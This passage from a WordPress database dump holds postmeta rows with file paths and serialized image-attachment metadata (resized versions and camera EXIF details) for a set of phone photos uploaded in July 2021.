(119,112,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_152408892-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152408892-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152408892-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152408892-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152408892-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152408892-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152408892-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152408892-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557848\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0072463768115942\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_152408892.jpg\";}'),
(120,113,'_wp_attached_file','2021/07/IMG_20200224_152428972_HDR-scaled.jpg'),
(121,113,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152428972_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152428972_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152428972_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152428972_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152428972_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152428972_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152428972_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152428972_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557869\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0079365079365079\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152428972_HDR.jpg\";}'),
(122,114,'_wp_attached_file','2021/07/IMG_20200224_152459527_HDR-scaled.jpg'),
(123,114,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152459527_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152459527_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152459527_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152459527_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152459527_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152459527_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152459527_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152459527_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557899\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152459527_HDR.jpg\";}'),
(124,115,'_wp_attached_file','2021/07/IMG_20200224_152608421_HDR-scaled.jpg'),
(125,115,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152608421_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152608421_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152608421_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152608421_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152608421_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152608421_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152608421_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152608421_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557968\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"500\";s:13:\"shutter_speed\";s:17:\"0.066666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152608421_HDR.jpg\";}'),
(126,116,'_wp_attached_file','2021/07/IMG_20200224_152850474-scaled.jpg'),
(127,116,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_152850474-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152850474-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152850474-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152850474-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152850474-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152850474-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152850474-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152850474-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558130\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_152850474.jpg\";}'),
(128,117,'_wp_attached_file','2021/07/IMG_20200224_152911691-scaled.jpg'),
(129,117,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_152911691-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152911691-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152911691-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152911691-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152911691-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152911691-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152911691-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152911691-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558151\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_152911691.jpg\";}'),
(130,118,'_wp_attached_file','2021/07/IMG_20200224_153004518-scaled.jpg'),
(131,118,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153004518-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153004518-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153004518-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153004518-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153004518-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153004518-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153004518-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153004518-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558204\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153004518.jpg\";}'),
(132,119,'_wp_attached_file','2021/07/IMG_20200224_153124594-scaled.jpg'),
(133,119,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153124594-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153124594-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153124594-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153124594-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153124594-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153124594-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153124594-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153124594-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558284\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153124594.jpg\";}'),
(134,120,'_wp_attached_file','2021/07/IMG_20200224_153438155-scaled.jpg'),
(135,120,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153438155-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153438155-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153438155-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153438155-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153438155-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153438155-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153438155-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153438155-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558478\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153438155.jpg\";}'),
(136,121,'_wp_attached_file','2021/07/IMG_20200224_153509146-scaled.jpg'),
(137,121,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153509146-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153509146-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153509146-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153509146-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153509146-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153509146-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153509146-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153509146-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558509\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153509146.jpg\";}'),
(138,122,'_wp_attached_file','2021/07/IMG_20200224_153511621_HDR-scaled.jpg'),
(139,122,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_153511621_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_153511621_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_153511621_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_153511621_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_153511621_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153511621_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153511621_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153511621_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558511\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_153511621_HDR.jpg\";}'),
(140,123,'_wp_attached_file','2021/07/IMG_20200224_153613032_HDR-scaled.jpg'),
(141,123,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_153613032_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_153613032_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_153613032_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_153613032_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_153613032_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153613032_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153613032_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_153613032_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558573\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0079365079365079\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_153613032_HDR.jpg\";}'),
(142,124,'_wp_attached_file','2021/07/IMG_20200224_153744197-scaled.jpg'),
